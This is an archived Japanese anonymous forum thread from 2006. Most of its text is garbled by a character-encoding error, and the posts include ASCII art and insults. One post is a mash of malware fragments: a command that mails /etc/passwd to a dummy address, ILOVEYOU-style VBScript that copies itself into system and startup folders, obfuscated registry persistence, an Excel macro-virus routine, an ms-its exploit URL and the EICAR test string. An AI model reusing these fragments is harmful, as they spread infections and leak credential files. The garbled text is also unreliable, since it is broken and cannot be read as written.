‚T‚Ώ‚α‚ρ‚Λ‚ι šƒXƒ}ƒz”Łš ‘ŒfŽ¦”‚ɖ߂遑 ‘S•” 1- ΕV50  

‘ ‚±‚ΜƒXƒŒƒbƒh‚Ν‰ί‹ŽƒƒO‘qŒΙ‚ΙŠi”[‚³‚κ‚Δ‚’‚ά‚·

‚ZΆ‚Ł[‚Ξ‚’‚Ɓ[III

1 F‚Τ‚Ώ‚Ή‚ρ‚Θ‚’F2006/11/21(‰Ξ) 14:57:03
Œ‹\‚’‚ι‚ζ‚ˁ@‚έ‚ρ‚Θ’²Žq‚Η‚€H
‹ί‹΅‚π•·‚©‚Ή‚Δ‚Ω‚΅‚’‚Ά‚₯


2 FFROM–Ό–³‚΅‚³anF2006/11/21(‰Ξ) 14:58:37
>>1
    ‘     ‘                     
   ‘‘     ‘       ‘‘‘‘‘‘‘‘‘‘‘‘  
  ‘‘     ‘‘‘‘‘‘             ‘‘  
 ‘‘  ‘   ‘    ‘            ‘‘   
  ‘ ‘‘  ‘‘‘  ‘‘           ‘‘    
   ‘‘  ‘‘ ‘‘‘‘           ‘‘     
  ‘‘       ‘‘           ‘‘      
  ‘   ‘   ‘‘‘‘          ‘       
 ‘‘‘‘‘‘  ‘‘  ‘‘         ‘       
    ‘   ‘‘    ‘‘        ‘       
  ‘ ‘ ‘    ‘‘           ‘       
  ‘ ‘ ‘     ‘‘          ‘       
 ‘‘ ‘ ‘                 ‘       
 ‘  ‘    ‘‘‘            ‘       
    ‘      ‘‘‘          ‘       
    ‘        ‘‘      ‘‘‘‘       

3 FFROM–Ό–³‚΅‚³anF2006/11/21(‰Ξ) 14:58:58
d•‘—§‚Δ‚ι‚ȁBŽ‚Λ

4 FFROM–Ό–³‚΅‚³anF2006/11/21(‰Ξ) 15:01:55
>>1
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "_" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
HHH

5 FFROM–Ό–³‚΅‚³anF2006/11/21(‰Ξ) 21:27:50
VŽQŽ€‚ˁB–Ό‘O—“Ž€‚Λ

4 KB
‘ ‚±‚ΜƒXƒŒƒbƒh‚Ν‰ί‹ŽƒƒO‘qŒΙ‚ΙŠi”[‚³‚κ‚Δ‚’‚ά‚·

šƒXƒ}ƒz”Łš ŒfŽ¦”Β‚Ι–ί‚ι ‘S•” ‘O100 ŽŸ100 ΕV50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit š
FOX š DSO(Dynamic Shared Object)